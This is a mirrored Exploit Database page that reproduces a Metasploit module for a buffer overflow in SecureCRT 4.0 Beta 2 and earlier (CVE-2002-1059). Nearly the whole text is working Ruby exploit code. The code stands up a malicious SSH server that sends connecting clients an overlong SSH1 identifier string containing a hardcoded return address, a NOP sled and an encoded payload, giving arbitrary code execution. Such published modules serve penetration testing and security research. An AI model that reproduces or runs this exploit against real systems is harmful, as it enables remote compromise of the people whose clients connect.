SecureCRT 4.0 Beta 2 SSH1 – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 30 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16460/

• ##
  # $Id: securecrt_ssh1.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::TcpServer
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'SecureCRT <= 4.0 Beta 2 SSH1 Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in SecureCRT <= 4.0
  				Beta 2. By sending a vulnerable client an overly long
  				SSH1 protocol identifier string, it is possible to execute
  				arbitrary code.
  
  				This module has only been tested on SecureCRT 3.4.4.
  			},
  			'Author' => 'MC',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					[ 'CVE', '2002-1059' ],
  					[ 'OSVDB', '4991' ],
  					[ 'BID', '5287' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 400,
  					'BadChars' => "\x00",
  					'MaxNops'=> 0,
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'SecureCRT.exe (3.4.4)', { 'Ret' => 0x0041b3e0 } ],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Jul 23 2002',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])
  			], self.class)
  	end
  
  	def on_client_connect(client)
  		return if ((p = regenerate_payload(client)) == nil)
  
  		buffer ="SSH-1.1-OpenSSH_3.6.1p2\r\n" + rand_text_english(243)
  		buffer << [target.ret].pack('V') + make_nops(20) + payload.encoded
  
  		print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")
  
  		client.put(buffer)
  		handler
  
  		service.close_client(client)
  	end
  
  end